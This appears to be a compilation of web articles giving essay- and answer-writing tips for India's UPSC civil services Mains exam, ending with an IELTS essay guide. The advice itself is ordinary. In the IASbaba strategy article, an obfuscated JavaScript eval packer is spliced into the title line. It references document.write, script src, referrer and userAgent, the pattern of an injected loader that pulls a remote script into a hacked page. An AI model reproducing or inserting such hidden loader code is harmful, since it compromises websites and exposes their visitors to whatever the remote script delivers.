When you take a final stand on an issue, it’s best to avoid extreme or highly unpopular opinions. We are free to have any opinion in the privacy of our minds, but in UPSC essay why take that risk? For instance, in an essay on Capital Punishment, in the main body content, you should present a case for both abolition and retention. But when you take a stance, it’s best to be an abolitionist.
No ranting. You might be a great fan of Karl Marx, but if there’s a question on Capitalism, do not rant or rail against it  You must present both the positives and negatives of Capitalism and end the essay on a balanced note.
Do not dedicate disproportionate amount of time for the first essay and scamper through the second. Both carry equal marks, so please invest equal time.

How to transition smoothly from one para to the next

This can be done in three ways.

Through a link sentence at the end of a para:

Here, at the end of a para, you write a sentence that signals to the examiner what’s coming next. For example, let’s say you have just written a para about the threat posed by Artificial Intelligence (AI) to jobs. At the end of that para you can write a link sentence—   “Further, we must be mindful of the fact that Artificial Intelligence poses a major challenge not just economically, but also ethically.”  And in the next para, you can write about the ethical issues concerning AI.

Through a question:   

Instead of a link sentence, you can also add a question at the end of a para so that examiner’s attention is helplessly carried to the next. To take the similar example as above, the question can be something like—   “Thus we have examined the threat posed by AI to our economy, but what about the challenges brought by AI to our ethics and morals?”  And in the next para, you can write about the ethical issues concerning AI.

Signalling the shift at the start of next paragraph:

Here you can simply add a word or two at the beginning of a para that signals a shift in your subtopic. For example in an essay on  Globalisation , let’s say you have just written a para about its historical evolution and impact. You can start the next para with something like—  “Politically too, globalisation has had a tremendous impact……” This way examiner immediately knows what to expect.

These steps will ensure that the transition between paragraphs is not abrupt.

How to write a good Introduction to your Essay?

Essay introduction can be:

a fictitious incident or story (where you introduce a character); a real life anecdote; a quote; or a simple definition of the words in the question (not recommended in Essay)

In my Mains exam, this was my introduction to the essay ‘Destiny of a nation is shaped in its classroom’

“The year was 1945. Towards the end of a gruesome world war, the world powers decided to carve up the Korean peninsula along the 38th parallel.

“Before partition, North and South Korea might have been homogeneous in every respect, but after the division, they steered onto different paths. While schools in the North chose to ‘educate’ their children in the worship of a cult leader, ideological indoctrination and servility, its southern counterpart focused on liberal education, innovation and economic growth.

“This only proves the age old adage that the destiny of a nation is indeed shaped in its classrooms.”

These real life stories, anecdotes and incidents are everywhere in our books and newspapers. So when you come across them, note down and ponder as to how you can use them in your essay.  

Developing the Main Content from the Topic

This is like spinning the web from a thread. Depending on the topic, you can choose among the following options that fits best.

Temporal : Past, present and future
Sectoral :  Media, Science & Tech, Business, Sports, Religion, Politics, Administration etc
Walks of Life : Individual, Family, Professional workplace, Society, Community, National, Global
Problem & Solution:  Concept (historical evolution+status), benefits, problems, solutions
Standard : Social, Political, Economical, Administrative, International, Environmental, Historical, Scientific, Security/Defence, Legal

Example: for a topic like  “Has Globalisation delivered on its promise?”  I find the problem & solution method an apt way to develop your narrative. So choose as per the question.

Statistics, examples, expert opinions and constitutional provisions are crucial and they make your arguments authoritative.

Concluding an Essay

Conclusion needs to be on  a futuristic, optimistic note. You need to summarise the complete essay in 3-4 sentences, after which you can write your vision for future.

You can source some useful terms from the speeches of PM Modi. Phrases like  Sabka saath sabka vikas ,  Reform-Perform-Transform, Building A New India  etc can come handy.  Rhetoric, lofty expressions, constitutional ideals, sanskrit slokas and quotes are a good way to conclude your essay.

Readers should keep in mind that these notes are written rather haphazardly (I mean who makes notes thinking that in future, they might have to upload them publicly :D)

They are fragmented in certain pages, so you may not be able to comprehend them completely, but nevertheless I hope you take home something useful.

Link to handwritten notes:

https://drive.google.com/open?id=1jmVMGOzAk2d9B5Y0HQ9XpVF5Mh2IXGku

Quote collection:

https://drive.google.com/open?id=1jk71jLao60hHwJoTuGYaIDgJWccxa5Xn

List of Topics one needs to prepare:

https://drive.google.com/open?id=1q0W0PeH-80EKt6ucJTFOVPUlmXvCIzd-

Sample Essay:  

https://drive.google.com/open?id=1jqfUi1FXdG0icBdJpdQvwH1wlAizCMvo

https://anudeepdurishetty.in/my-upsc-marksheet/

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How to Write an Essay for UPSC

Check the best approach to be followed in essay writing for civil services examination 2023 along with the highly recommended books on this page .

The UPSC Mains exam comprises a total of nine papers which includes essay writing for civil services examination as well. In broader terms, the essay paper in UPSC mains is divided into two sections i.e. section A & section B.

Each section also comprises four UPSC essay topics with a maximum mark of 125 each. Out of these, candidates need to choose one topic from each of the sections and write two UPSC essay papers in about 1000-1200 words each.

Thus, it is important for the aspirants to use the best strategy and practice essay writing for civil services examination thoroughly to maximize their score in the UPSC essay test .

In this blog, we have shared the useful steps to write the essay for the IAS exam including the books, past year IAS essay test topics, and everything that an aspirant must know about UPSC essay writing .

UPSC Essay Writing for Civil Services Examination 2023- Highlights

Some of the major highlights of the essay writing for the civil services exam 2023 are shared below:

Number of UPSC essay topics : 2
Maximum Marks: 250 marks (125 each).
Exam Duration: 3 hours
Word Limit: 1000-1200 words each

6 Easy Steps on Essay Writing for Civil Services Examination

IAS aspirants should formulate a strategy that aligns with the exam requirements in order to excel in the UPSC essay papers . Hence, we have shared the top six easy steps to be followed in the UPSC essay writing in order to excel in the upcoming IAS CSE 2023 exam .

Pick the UPSC Essay Topic Carefully

The first and foremost strategy of every aspirant is that they should finalize the topic only after reading all the topics carefully. This will also help them to collect sufficient points to write about the UPSC essay topics .

One should go through all the topics carefully in order to avoid switching topics in between as it would lead to a waste of time and unnecessary stress. Hence, it is advisable to read the topics 2-3 times and think about the IAS essay topics carefully.

Recall Important Points

After finalizing the topic, do not rush to write the essay immediately and think about the same for at least 30 minutes. Anyone who commences writing immediately without thinking twice may forget important pointers to be included in the UPSC essay papers .

Hence, it is advised to utilize the first 20-30 minutes to think carefully about the topic, correlate the topic with current events, talk about historical/past events, and jot down all the important points in the sheet.

Moreover, they must also arrange all the points in the proper sequence in order to excel in essay writing for civil services examination .

Formatting of the Essay

The next strategy of the aspirant is that they should follow a proper format in the UPSC essay writing papers. Once they have recalled and noted all the important pointers, the next step is to format it well as elaborated below:

Introduction
Background of Topic
Main Theory
Correlation with the latest event
Positive and Negative Sides
Recommend Changes

Use the Quotes Correctly

To excel in essay writing for civil services examination, candidates must jot down inspiring sentences, and quotations whenever they come across them.

However, it is advised to learn the quotes correctly with the name of the individual who has quoted them. Also, if they are unsure about the quote then they must skip it instead of writing the incorrect one.

Focus on the UPSC Essay Topics

Candidate should be clear with theessay topics for effective essay writing for civil services examination. This approach will allow them to stick around the topic and write relevant content in the essay UPSC test.

With this, they should ensure that they do not criticize any individual or government or mention anything in an offensive way in their UPSC essay writing which is not recommended.

Best Books and Resources for UPSC Essay Writing

Along with the best preparation strategy, aspirants should also pick expert-recommended books to cover all types of essay topics for the exam. Here, we have compiled the best books and resources that would be helpful in practicing essay writing for civil services examination :

Monthly Current Affairs Magazines by OnlyIAS
Only IAS Kurukshetra Magazine
Only IAS Yogana Magazine
Only IAS Praarambh Post-Independence India
Only IAS Praarmabh Indian Society
The Hindu (editorial articles)

Previous Year Essay Topics for Civil Services Examination

Candidates should check the previous year’s essay topics for the UPSC exam to understand the UPSC IAS syllabus 2023 in a better manner. Hence, it is advisable to practice essay writing on the past year’s topics to determine the level of their preparation.

Thus, we have shared below the last five years’ IAS essay topics to smoothen the preparation of the aspirants.

Frequency Asked Questions (FAQ)

Q1. How can I write a good essay for UPSC?

Ans. To write a good essay for UPSC, candidates must read the editorial section of the newspaper, and current affairs magazines on a daily basis. With this, they should watch discussions/debates, and solve previous question papers UPSC essay topics regularly.

Q2. What kind of essays are asked in UPSC?

Ans. Going by the trend analysis, most of the UPSC essay topics are related to Indian Democracy and Bureaucracy, Administration, Poverty, Economic Growth, Politics, Judiciary, Education, Indian Culture, Science & Tech, etc.

Q3. How to write introduction for UPSC essay?

Ans. You can start writing the introduction for the IAS essay with a powerful quote and then elaborate on the quote in the rest of the introduction by explaining its relation to the topic.

Q4. Who got highest marks in UPSC essay?

Ans. In 2014, Ira Singhal scored 160 marks on the UPSC essay papers.

Q5. Which is the toughest optional subject in UPSC?

Ans. Geography is considered one of the toughest optional subjects in the UPSC civil services examination.

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UPSC ESSAY STRATEGY: How to Write an Essay!

October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is – an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

Preamble to the Constitution
FRs and DPSPs
Millennium Development Goals (Now Sustainable Development Goals)
Quotations by eminent personalities
Important Supreme Court judgements
Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

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How to improve your writing skills for UPSC Mains?

Improving writing skills for the UPSC Mains examination is essential for effectively conveying one’s thoughts and analysis. First and foremost, it’s crucial to read extensively, encompassing a variety of subjects, to broaden one’s understanding and enhance vocabulary. Additionally, practicing answer writing is indispensable. Regularly attempting previous years’ questions, timed mock tests, and self-assessment of answers can help identify strengths and weaknesses. Developing a structured approach to essay and answer writing, with a clear introduction, well-organized body, and a concise conclusion, is vital. Furthermore, seeking feedback from mentors, peers, or professionals can provide valuable insights for improvement. Keeping up with current affairs and integrating relevant examples into answers adds depth and relevance to the content. Ultimately, maintaining consistency, discipline, and dedication to honing these skills is the key to success in the UPSC Mains examination.

Table of Contents

Increase your reading count

Increasing your reading count is a valuable habit that can enrich your life in numerous ways. Whether you’re an avid reader or someone looking to read more, it’s a practice that not only broadens your knowledge but also enhances your cognitive abilities, vocabulary, and critical thinking skills. Reading provides access to diverse perspectives, cultures, and experiences, making you more empathetic and open-minded. Furthermore, it’s an excellent way to reduce stress and improve your mental well-being, as it allows you to escape into different worlds and take a break from the demands of daily life. To boost your reading count, consider setting aside dedicated time for reading each day, exploring a variety of genres and topics, and joining book clubs or discussion groups to stay motivated and engaged with your reading goals.

Avoid generalizations

Avoiding generalizations is a fundamental principle of critical thinking and effective communication. Generalizing involves making sweeping statements about a group, concept, or situation based on limited or anecdotal evidence. This practice can lead to misconceptions, biases, and unfair judgments. To enhance understanding and promote accuracy, it’s essential to recognize the diversity and complexity within any group or issue. By avoiding generalizations, we can foster more nuanced, respectful, and well-informed discussions, allowing us to appreciate the unique qualities and experiences that make each individual or circumstance distinct. In doing so, we promote a more open and inclusive society where people are seen for who they truly are, rather than being reduced to oversimplified stereotypes.

Prepare A Writing Structure

Preparing a writing structure is essential for crafting a coherent and effective piece of communication, whether it’s an essay, report, or any form of written content. It serves as the skeleton upon which your ideas are fleshed out, ensuring logical flow and clarity. Start by outlining your main points or arguments, providing a roadmap for your readers to follow. This structure should include an introduction that engages your audience, a body section where your ideas are presented and supported, and a conclusion that summarizes your key points and leaves a lasting impression. Within the body, consider using subheadings, bullet points, or numbered lists to organize information, making it more reader-friendly. A well-prepared structure not only helps you stay focused and maintain coherence in your writing but also makes it easier for your audience to understand and appreciate your message.

Write to the Point

“Write to the point” is a fundamental principle of effective communication and writing. It emphasizes the importance of clarity and conciseness in conveying your message. When you write to the point, you cut through unnecessary jargon, filler words, and convoluted sentences, ensuring that your message is straightforward and easily understood. This approach not only saves time for both the writer and the reader but also enhances the impact of your communication, making it more persuasive and memorable. Whether in business, academia, or everyday communication, writing to the point is a valuable skill that enables your ideas to shine through without getting lost in unnecessary complexity.

Improve Basics Like Tenses, Grammar, Etc.

Improving the fundamentals of language, such as tenses and grammar, is a foundational step in becoming a proficient communicator. These aspects of language serve as the building blocks upon which effective communication is built. Tenses provide clarity in expressing when actions occur, helping to convey a sense of time and sequence in a narrative or conversation. Grammar, on the other hand, ensures that sentences are structured coherently, reducing ambiguity and enabling a more precise conveyance of ideas. Mastering these basics not only enhances one’s writing and speaking abilities but also boosts confidence in conveying thoughts and ideas with accuracy and sophistication. Therefore, investing time in improving tenses, grammar, and related language skills is an essential endeavor for anyone looking to become a more effective and confident communicator.

Be You (Original)

In our constant pursuit of self-improvement and personal growth, it is essential to embrace the power of originality. While it’s valuable to draw inspiration from others and learn from their experiences, our journey of improvement should be uniquely our own. The path to self-betterment is not a one-size-fits-all approach; it’s a canvas where we get to craft our individual masterpieces. By infusing our aspirations and goals with originality, we infuse them with authenticity, passion, and a sense of purpose. Originality compels us to question the status quo, challenge conventional wisdom, and seek new, uncharted horizons for our personal growth. So, as we strive to improve, let’s remember that the most profound transformations often emerge from our originality and our willingness to blaze our distinct trails towards becoming the best versions of ourselves.

Practice makes perfect

The age-old adage “practice makes perfect” encapsulates the essence of human achievement and mastery. It acknowledges that continuous effort and repetition are the fundamental building blocks of expertise and success. Whether in the realms of sports, music, art, or any skill or discipline, it is through relentless practice that individuals refine their abilities, hone their techniques, and overcome challenges. This principle underscores that perfection is not an innate quality but rather a product of dedication and persistence. It encourages us to embrace the journey of growth, recognizing that each endeavor, no matter how small, contributes to the journey of improvement and excellence. “Practice makes perfect” serves as a timeless reminder that excellence is attainable through patient and unwavering commitment.

Some Tips on Improve writing skills

Here are some tips to help you enhance your writing skills:

Understand the Syllabus : Familiarize yourself with the UPSC Mains syllabus. This will help you identify the relevant topics and focus your preparation accordingly.
Read Extensively : Reading a wide range of materials, including newspapers, magazines, books, and academic journals, can improve your vocabulary, knowledge, and understanding of various topics.
Analyze Previous Years’ Papers : Go through past years’ UPSC Mains question papers to understand the pattern and type of questions asked. This can give you insights into the expected topics and their depth.
Practice Writing Regularly : The more you write, the better you become. Dedicate time to writing practice answers on various subjects. Try to stick to the word limit and time constraints imposed in the exam.
Answer Structure : Learn to structure your answers effectively. Each answer should have an introduction, body, and conclusion. Use headings and subheadings to make your answer more organized and readable.
Clarity and Conciseness : Be clear and concise in your writing. Avoid using jargon and overly complex sentences. Write in a straightforward manner that’s easy for the examiner to understand.
Use Examples and Data : Support your arguments with relevant examples, case studies, and data. This adds depth and credibility to your answers.
Practice Essay Writing : Essay writing is an important part of the Mains exam. Practice writing essays on a variety of topics. Focus on developing a coherent and structured argument.
Improve Time Management : Time management is crucial during the Mains exam. Practice writing answers within the prescribed time limits to ensure you can complete all sections.
Peer Review : Ask peers or mentors to review your writing. Constructive feedback can help you identify your weaknesses and areas for improvement.
Revision : Regularly revise what you’ve learned. This will help you retain information and recall it more effectively during the exam.
Stay Updated : Keep up with current affairs and developments, as they are often part of the UPSC Mains paper. Regularly read newspapers and magazines to stay informed.
Mind Your Handwriting : Ensure that your handwriting is neat and legible. Poor handwriting can make it difficult for the examiner to understand your answers.
Stay Calm and Confident : During the exam, maintain your composure and stay confident. Read the questions carefully and plan your answers before writing.
Mock Tests : Take mock tests to simulate exam conditions. This will help you get used to the time constraints and pressure of the actual exam.

Frequently Asked Questions (FAQs)

Faq 1: how can i improve my writing skills for upsc mains.

Answer: To enhance your writing skills for UPSC Mains, practice is key. Start by regularly writing essays, answers to previous years’ questions, and taking mock tests to simulate exam conditions. Reading high-quality newspapers, books, and academic journals can also expand your vocabulary and knowledge base, which is essential for effective writing.

FAQ 2: How can I structure my answers better in UPSC Mains exams?

Answer: Structuring your answers is crucial. Begin with an introduction that succinctly presents your viewpoint, followed by a clear and logical body that provides supporting arguments or evidence. End with a well-concluded summary. Use headings, subheadings, bullet points, and diagrams where appropriate to make your answer visually organized and easy to follow.

FAQ 3: How do I develop analytical and critical thinking in my writing for UPSC Mains?

Answer: To boost analytical and critical thinking, practice analyzing complex issues, reading diverse perspectives, and engaging in discussions. When writing, critically evaluate arguments, and support your points with well-reasoned explanations and evidence. Avoid overly one-sided or biased opinions.

FAQ 4: What is the role of revision in improving writing skills for UPSC Mains?

Answer: Revision is indispensable. After completing a draft, review and edit your work for clarity, grammar, and coherence. Take time to refine your writing and check for factual accuracy. Multiple revisions can help you refine your writing to meet the UPSC standards.

FAQ 5: How can I manage time effectively during the UPSC Mains exam to ensure I complete all the questions?

Answer: Time management is critical. Allocate a specific amount of time to each question based on its marks. Start with the questions you are most confident in to secure those marks quickly. Don’t dwell too long on a single question. If you run out of time for one question, move on to the next, and return later if time allows. Practicing timed mock tests will improve your time management skills.

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How to develop writing skills for UPSC Mains exam

Developing good writing skills is essential for cracking the UPSC Mains exam as it is a subjective exam where candidates are required to write essays, answer questions, and express their thoughts and opinions effectively. Here are some tips to develop writing skills for the UPSC Mains exam:

Read regularly: reading is a crucial aspect of developing good writing skills. reading books, newspapers, magazines, and online articles can help candidates improve their vocabulary, grammar, and writing style., practice answer writing: regular practice of answer writing can help candidates improve their writing skills. candidates can start by writing short answers and gradually move on to writing essays and longer answers. candidates should focus on clarity, coherence, and conciseness while writing their answers., develop a structured approach: it is important to have a structured approach while writing answers. candidates should start with an introduction, followed by the main body, and conclude with a summary. this will help candidates to present their ideas in a logical and organized manner., use examples and illustrations: using relevant examples and illustrations can help candidates to explain their points effectively. examples and illustrations make the answer more interesting and engaging., analyze previous year’s question papers: analyzing previous year’s question papers can give candidates an idea about the type of questions asked and the pattern of the exam. this can help candidates to prepare better and develop a strategy for answering the questions., seek feedback: candidates should seek feedback on their writing from their mentors or peers. this can help candidates to identify their weaknesses and work on improving them., in conclusion, developing good writing skills is crucial for cracking the upsc mains exam. with regular practice, structured approach, and the right guidance, candidates can improve their writing skills and increase their chances of success in the exam..

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5 best tips to improve answer writing skills in UPSC IAS main exam

How do I write in a clear and concise style in UPSC Mains? When you write your answers for UPSC Mains, make them easy to understand. Don't use fancy words or complicated terms that the person grading your paper might not get. And always check your answer for mistakes before you turn it in.
How to use evidence to support Mains answer? Make sure to back up what you're saying with proof. This proof can come from different places like research papers, official reports, or news stories. And when you use this proof, remember to give credit to where you got it from by citing your sources properly.
How to manage time during the IAS Main exam? Managing your time well during the UPSC Mains exam is very important. You must finish each answer within the given time limit. To do this better, practice writing answers with a timer. Also, come up with a plan for answering various kinds of questions.

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11 Tips: How To Start Answer Writing Practice For UPSC

Are you wondering how to start answer writing practice for UPSC ?

If you’re an aspiring civil servant in India, then you’re probably aware that cracking the Union Public Service Commission (UPSC) exam is no easy feat. With a vast syllabus and fierce competition, it’s easy to feel overwhelmed and unsure of where to begin.

That’s where answer writing practice comes in. Answer writing is an essential part of UPSC preparation, as it helps you develop the skills necessary to articulate your thoughts effectively and concisely.

In this article, we’ll take a look at some tips on how to start answer writing practice for UPSC, including choosing the right resources, selecting relevant topics, and structuring your answers effectively.

So, let’s dive in and get you started on your journey towards acing the UPSC exam!

UPSC Mains Exam Pattern

Here is the pattern for qualifying and optional papers for upsc mains:, why do you need answer writing practice for upsc mains, fruitful benefits of answer writing practice in upsc, learning or practicing: which one works in upsc, how to start answer writing practice for upsc civil services main tests, master your writing skills in answer writing art for upsc mains, techniques for writing upsc mains exam, 1. read before you write, 2. maintaining a proper outline is important, 3. avoid shakespearean language and unnecessary jargon, 4. being original is the key, 5. avoid too many quotations, 7. beware of generalizations, 8. regular answer writing practice keeps you active, 9. extra marks for error-free writing, 10. manage time effectively, 11. use relevant examples and data, frequently asked questions, how to start answer writing practice for upsc mains, how do i manage my time effectively during the upsc main exam, how do i structure my answers in the upsc main exam, what are some common mistakes to avoid when writing answers for the upsc mains exam, how do i develop a clear and concise thesis statement for my answers, what are some effective techniques for using relevant examples and data in my answers, how can i improve my answer writing skills for the upsc mains exam, what are some tips for managing stress during the upsc main exam, how can i make my answers stand out in the upsc main exam, what should i do if i get stuck while writing an answer in the upsc mains exam.

Note: The Indian language and English papers are qualifying in nature and the marks obtained in these papers are not considered in the final merit list.

The qualifying papers are of matriculation level and the marks obtained in these papers are not added to the final merit list. The personality test or interview carries a weightage of 275 marks out of the total 2025 marks.

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10 tips to improve answer writing skills in UPSC Civil Services Main 2019

These preparation tips for upsc civil services main 2019 will help you score well in the exam..

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How to Write IELTS Essays to Score Band 9!

Planning to go study or work abroad? Aiming for excellent scores in your IELTS writing? Do you wish to get a band 9 score? Say no more because this is the article for you! Please go through this article to find writing tips, and applicants must get essay samples, which will help you get a band 9 in your IELTS essay. Taking the IELTS test is mandatory for studying or employment abroad, therefore it is essential that applicants get excellent scores in the writing section of the test.

Achieving a score of band 9 in the IELTS Writing requires a mastery of language and also knowledge of the assessment criteria and good writing strategies for the exam. Whether you are a beginner or an experienced applicant, going through this article will help you in turning your essay-writing skills from good to great!

Table of Content

IELTS Writing Section

1. writing – academic, 2. writing – general training.

IELTS Writing task 2: Essay Writing – Important tips for Band 9 score

Step 1: Understand the question/task

Step 2: structure your ideas, step 3: start with a captivating introduction, step 4: write focused paragraphs, step 5: display good vocabulary and language skills, step 6: conclude properly:, step 7: edit and revise your essay:, step 8: avoid being redundant:, step 9: more is not always the best, step 10: diligently practice time management, step 11: seek help from experienced tutors and high-quality prep materials, sample essays for ielts to achieve a band score of 9, sample 1: discussion essay, sample 2: problems and solutions essay, sample 3: advantages and disadvantages essay, how to write ielts essays- faqs, can we use formal idioms in ielts writing, what are 4 types of ielts essay, how to identify essay type, what is important in ielts writing, what is not allowed in ielts writing.

The most crucial part of test preparation for IELTS includes the writing section. The duration of test is 60 minutes and the writing section includes two parts- Academic and General Training, both of which have two tasks each. All of them are explained below for a better understanding of the candidates:

The Academic section of the Writing test includes two tasks, each covering topics of general relevance and suitability for individuals enrolling for undergraduate or postgraduate studies, or those seeking professional employment.

The General Training section of the Writing test also includes two tasks that focus on topics of general interest, which were made to assess candidates’ ability to communicate properly in common real-life situations.

IELTS Writing Task 2: Essay Writing – Important tips for Band 9 score

Given below is a step-by-step guide to the IELTS Essay writing task:

Grasp the keyword in the question to ensure a high score in essay writing.
Carefully read and comprehend the question before answering. Identify the type of essay they expect you to write.
Take note of any specific instructions like word limits, or key points to address.
Do not immediately start writing after reading the question and spend a few minutes generating ideas related to the question.
Clearly structure the outline of your essay in your mind which should include an introduction, body paragraphs, and a conclusion.
Decide on your main focus points for each paragraph and organize your ideas logically.
A captivating opening that grabs the reader’s attention is always the best way to start your essay.
Always provide some context to your topic in the introduction.
The introduction should clearly state the main focus of your essay, which will be followed throughout in the your essay.
Start each paragraph with a sentence that focuses on the primary concept of the essay.
Support your ideas with relevant examples, facts, or evidence.
Make sure that the transitions between paragraphs are smooth and comprehensive.
Make sure to use an extensive range of vocabulary and grammatical structures.
Express your ideas precisely and accurately.
Use proverbs and phrases, if you can in relation to the topic.
Provide a concise summary of the key points focused in the whole essay.
Give a proper closing statement.
Leave the reader with a lasting impression or a thought-provoking question.
Allot some time in the end to re-read your essay to make sure there are no grammatical errors or spelling mistakes.
Make necessary revisions to improve overall quality of your essay.
Make sure your paragraphs are coherent and comprehensive.
Make sure your answers are not repetitive.
Avoid writing irrelevant information and unnecessarily repeating something. It will only make your writing too long and distract the examiner.
The idea that lengthy essays will get you more marks is not always true.
